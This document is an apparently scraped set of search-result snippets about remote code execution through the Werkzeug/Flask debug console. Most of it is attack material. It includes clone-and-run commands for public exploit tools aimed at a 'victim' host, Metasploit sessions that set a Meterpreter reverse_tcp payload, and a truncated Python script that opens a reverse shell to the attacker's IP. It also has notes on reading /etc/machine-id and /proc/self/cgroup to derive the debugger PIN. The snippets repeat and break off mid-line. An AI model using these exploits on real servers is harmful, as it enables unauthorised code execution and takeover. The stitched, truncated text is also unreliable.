git clone https://github.com/its-arun/Werkzeug-Debug-RCE.git cd Werkzeug-Debug-RCE chmod +x werkzeug.py python2 werkzeug.py examplevictim.com whoami

2 days ago - If debug is active you could try to access to /console and gain RCE.

June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

April 10, 2023 - The second index in the array is the machine id, which is a combination of /etc/machine-id and /proc/self/cgroup. If /etc/machine-id cannot be found on the system then /proc/sys/kernel/random/boot_id can be used instead. The code that creates this id can be found at the top of Werkzeug’s __init__.py.

December 4, 2022 - Example utilizing the previously mentioned sample app listed above. msf > use exploit/multi/http/werkzeug_debug_rce msf exploit(werkzeug_debug_rce) > set rport 8081 rport => 8081 msf exploit(werkzeug_debug_rce) > set rhost 10.108.106.201 rhost => 10.108.106.201 msf exploit(werkzeug_debug_rce) > check [+] 10.108.106.201:8081 - The target is vulnerable.

Security vulnerabilities and package health score for pip package werkzeug 2.2.2

2: Werkzeug 0.11 - 0.11.5 (Flask < 1.0) 3: Werkzeug < 0.11 (Flask < 1.0) Example utilizing the previously mentioned sample app listed above. $ msfconsole -q msf > use exploit/multi/http/werkzeug_debug_rce [*] No payload configured, defaulting to python/meterpreter/reverse_tcp msf exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 RHOSTS => 192.168.23.5 msf exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 LHOST => 192.168.23.117 msf exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 VHOST => 127.0.0.1 msf exploit(multi/http/werkzeug_debug_rce) > set MACA

./werkzeug_pwn.py <TARGET_URL> "<COMMAND>" --exploit-path <PATH_TO_TRACEBACK>

git clone https://github.com/its-arun/Werkzeug-Debug-RCE.git cd Werkzeug-Debug-RCE chmod +x werkzeug.py python2 werkzeug.py examplevictim.com whoami

WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :) flask python3 rce werkzeug ctf-tools pentest-tool rce-exploit werkzeug-exploit

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

This is a python script for exploiting werkzeug debug to achieve RCE. It can execute command on the remote system. git clone https://github.com/its0x08/werkzeug-debug.git cd werkzeug-debug pip3 install --user -r requirements.txt python3 main.py example.com whoami

February 18, 2020 - Werkzeug provides an interactive debugger renders tracebacks and allows for the execution of Python code on the local machine. You can find the official documentation for the debugger here: ... Once the debugger is enabled and an error happens during a request, you will see a detailed traceback instead of a generic “internal server error”. The traceback page looks like this. (The example is taken from the Werkzeug Documentation at https://werkzeug.palletsprojects.com/en/1.0.x/debug/.)

We cannot provide a description for this page right now

January 18, 2024 - A security research site.

This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

People would say it's based on MSF exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/werkzeug_debug_rce.rb), but as I couldn't understand at all this exploit, I did it my own exploit.

May 6, 2024 - Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson. Start learning ... Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities ... Upgrade werkzeug to version 3.0.3 or higher.